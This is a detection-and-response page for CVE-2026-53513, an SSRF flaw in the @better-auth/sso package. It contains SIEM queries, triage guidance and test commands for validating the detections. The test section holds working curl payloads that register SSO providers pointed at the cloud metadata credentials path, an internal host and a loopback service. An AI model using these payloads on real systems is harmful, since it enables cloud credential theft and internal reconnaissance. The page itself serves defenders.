CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints
Detects exploitation of CVE-2026-53513, a server-side request forgery (SSRF) vulnerability in the @better-auth/sso npm package (>= 0.1.0, < 1.6.11). The SSO provider registration flow accepts attacker-controlled OIDC endpoint URLs (issuer, authorization, token, userinfo, JWKS, and OIDC discovery URLs) without validating the host, scheme, or resolved IP. When the server performs OIDC discovery or token/userinfo requests against these unvalidated endpoints, an attacker can coerce the application server into making requests to internal/metadata services (e.g. cloud IMDS at 169.254.169.254, localhost, RFC1918 ranges), enabling credential theft and internal reconnaissance. This detection surfaces provider-registration and OIDC callback activity where the application server originates outbound HTTP requests to internal, link-local, or metadata IP ranges shortly after an SSO provider registration or discovery event.
Vulnerability Intelligence
Public PoCAffected Software
- Vendor
- npm
- Product
- @better-auth/sso
- Versions
- >= 0.1.0, < 1.6.11
Timeline
- Disclosed
- July 7, 2026
References & Proof of Concept
- PoChttps://github.com/advisories/GHSA-5rr4-8452-hf4v
- https://github.com/better-auth/better-auth/security/advisories/GHSA-5rr4-8452-hf4v
- https://github.com/better-auth/better-auth/releases/tag/v1.6.11
- https://nvd.nist.gov/vuln/detail/CVE-2026-53513
- https://github.com/better-auth/better-auth/pull/9574
- https://github.com/better-auth/better-auth/commit/37f60cb176cb53147da7dfd5ec15afa5b486e81e
CVSS
CVSS:3.1
What is CVE-2026-53513 CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints?
CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints (CVE-2026-53513) maps to the Reconnaissance and Discovery tactics — the adversary is trying to gather information they can use to plan future operations in MITRE ATT&CK.
This page provides production-ready detection logic for CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints, covering the data sources and telemetry it touches: Microsoft Defender for Endpoint, DeviceNetworkEvents. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Reconnaissance Discovery
let metadataRanges = dynamic(["169.254.169.254", "169.254.170.2", "100.100.100.200"]);
let privateCidrs = dynamic(["10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", "127.0.0.0/8", "169.254.0.0/16"]);
union isfuzzy=true
(
DeviceNetworkEvents
| where InitiatingProcessFileName in~ ("node", "node.exe", "bun", "deno")
| where ActionType == "ConnectionSuccess"
| where RemoteUrl has_any ("/.well-known/openid-configuration", "/oauth", "/token", "/userinfo", "/authorize")
or isnotempty(RemoteIP)
| extend IsMetadata = RemoteIP in (metadataRanges)
| extend IsPrivate = ipv4_is_in_any_range(RemoteIP, privateCidrs)
| where IsMetadata or IsPrivate
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteIP, RemoteUrl, RemotePort, IsMetadata, IsPrivate
) Detects the @better-auth/sso Node runtime initiating outbound OIDC-style HTTP connections to cloud metadata or private/link-local IP ranges, indicating SSRF via unvalidated provider endpoints.
Data Sources
Required Tables
False Positives
- Legitimate internal identity providers (e.g. self-hosted Keycloak) reachable on RFC1918 addresses used as valid SSO providers
- Service-mesh or sidecar proxies that legitimately route OIDC traffic through localhost/127.0.0.1
- Internal monitoring or health-check probes from the Node process to private hosts
Sigma rule & cross-platform mapping
The detection logic for CVE-2026-53513: @better-auth/sso Provider Registration SSRF via Unvalidated OIDC Endpoints (CVE-2026-53513) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: network_connection
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for CVE-2026-53513
References (6)
- https://github.com/better-auth/better-auth/security/advisories/GHSA-5rr4-8452-hf4v
- https://github.com/better-auth/better-auth/releases/tag/v1.6.11
- https://nvd.nist.gov/vuln/detail/CVE-2026-53513
- https://github.com/better-auth/better-auth/pull/9574
- https://github.com/better-auth/better-auth/commit/37f60cb176cb53147da7dfd5ec15afa5b486e81e
- https://github.com/advisories/GHSA-5rr4-8452-hf4v
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1SSRF to cloud metadata via SSO provider registration
Expected signal: Node process initiates an outbound HTTP connection to 169.254.169.254 shortly after the provider registration POST.
- Test 2SSRF internal service scan via OIDC endpoint
Expected signal: Application server emits outbound connections to 10.0.0.5:8080 originating from the Node runtime.
- Test 3SSRF to loopback discovery endpoint
Expected signal: Node process makes a loopback HTTP request to 127.0.0.1:9200 for the OIDC discovery document.
Response Playbook
Triage
- Confirm the affected application uses @better-auth/sso and identify the installed version via package-lock.json / node_modules/@better-auth/sso/package.json; versions >= 0.1.0 and < 1.6.11 are vulnerable.
- Review the destination IP flagged in the alert — determine whether it is a cloud metadata endpoint (169.254.169.254), loopback, or an RFC1918 host that is NOT a sanctioned internal IdP.
- Pull the SSO provider registration audit log around the alert time and inspect the OIDC endpoint URLs (issuer, discoveryUrl, token/userinfo) submitted; look for internal hostnames, IP literals, or metadata addresses.
- Correlate the registering user/tenant and API key to determine whether provider registration was performed by an authorized administrator.
Containment
- Upgrade @better-auth/sso to >= 1.6.11 across all affected services and redeploy.
- Immediately disable or delete any SSO provider records whose OIDC endpoints point to internal, loopback, or metadata addresses.
- Apply egress network controls / a metadata-proxy (e.g. IMDSv2 enforcement, deny 169.254.169.254 from app subnets) to block SSRF to cloud credentials.
Evidence Collection
- Preserve application and reverse-proxy access logs showing outbound OIDC discovery/token/userinfo requests and their destination IPs.
- Export the SSO provider configuration table/records including submitted endpoint URLs and registration timestamps and actor identities.
- Capture cloud provider IMDS access logs and any short-lived credential issuance events during the exposure window.
Escalation Criteria
- ! Escalate to incident response if outbound requests to 169.254.169.254 (or equivalent metadata endpoint) succeeded and returned data, indicating potential cloud credential theft.
- ! Escalate if provider registration originated from an unauthenticated or low-privilege actor, or if signups were unexpectedly enabled.
- ! Escalate if internal services (databases, admin panels) were reached via the SSRF pivot beyond metadata endpoints.
Investigation Guide
Forensic Artifacts
- >
SSO provider configuration records containing attacker-supplied OIDC endpoint URLs - >
Application/proxy access logs showing server-originated requests to metadata or private IPs - >
Cloud IMDS access logs and credential issuance events - >
node_modules/@better-auth/sso version metadata confirming vulnerable install
Tuning Guidance
Build an allowlist of sanctioned internal IdP hosts/IPs and exclude them from the private-range match to cut false positives. If a local auth proxy legitimately serves OIDC over loopback, exclude that specific loopback+port. Keep the metadata-range match (169.254.169.254, 169.254.170.2, 100.100.100.200) always-on since no legitimate OIDC provider should be hosted there. Restrict process scope to the actual runtime hosting @better-auth/sso to reduce noise.
Hunting Queries
Hunt for any application-tier process reaching the cloud metadata endpoint or performing OIDC discovery against internal targets, regardless of registration correlation.
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("node","node.exe","bun","deno") | where RemoteIP == "169.254.169.254" | project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP index=proxy OR index=network (dest_ip="169.254.169.254" OR uri_path="*/.well-known/openid-configuration") | stats count by src_ip, dest_ip, uri_path, uri_host Atomic Red Team Tests
Register an OIDC SSO provider whose discovery URL points at the cloud metadata endpoint and trigger discovery, coercing the server to request instance credentials.
Command
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-ssrf","issuer":"http://169.254.169.254/latest/meta-data/","discoveryUrl":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}' Cleanup
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-ssrf Expected Telemetry
Node process initiates an outbound HTTP connection to 169.254.169.254 shortly after the provider registration POST.
Expected Detection
KQL/CQL endpoint rules fire on the Node process connecting to the metadata IP; proxy-based rules flag the OIDC discovery request to 169.254.169.254.
Register a provider with a token endpoint pointing to an internal RFC1918 host to probe internal reachability through the SSO flow.
Command
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-internal","issuer":"http://10.0.0.5:8080/","tokenUrl":"http://10.0.0.5:8080/token","userInfoUrl":"http://10.0.0.5:8080/userinfo"}' Cleanup
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-internal Expected Telemetry
Application server emits outbound connections to 10.0.0.5:8080 originating from the Node runtime.
Expected Detection
Private-CIDR match in the network detections fires for the app process connecting to the RFC1918 target.
Point the OIDC discovery URL at localhost to confirm the server fetches unvalidated internal well-known configuration.
Command
curl -s -X POST http://localhost:3000/api/auth/sso/register -H 'Content-Type: application/json' -d '{"providerId":"atomic-loopback","discoveryUrl":"http://127.0.0.1:9200/.well-known/openid-configuration"}' Cleanup
curl -s -X DELETE http://localhost:3000/api/auth/sso/provider/atomic-loopback Expected Telemetry
Node process makes a loopback HTTP request to 127.0.0.1:9200 for the OIDC discovery document.
Expected Detection
Loopback/127.0.0.0/8 CIDR match in the network rules flags the discovery request from the app runtime.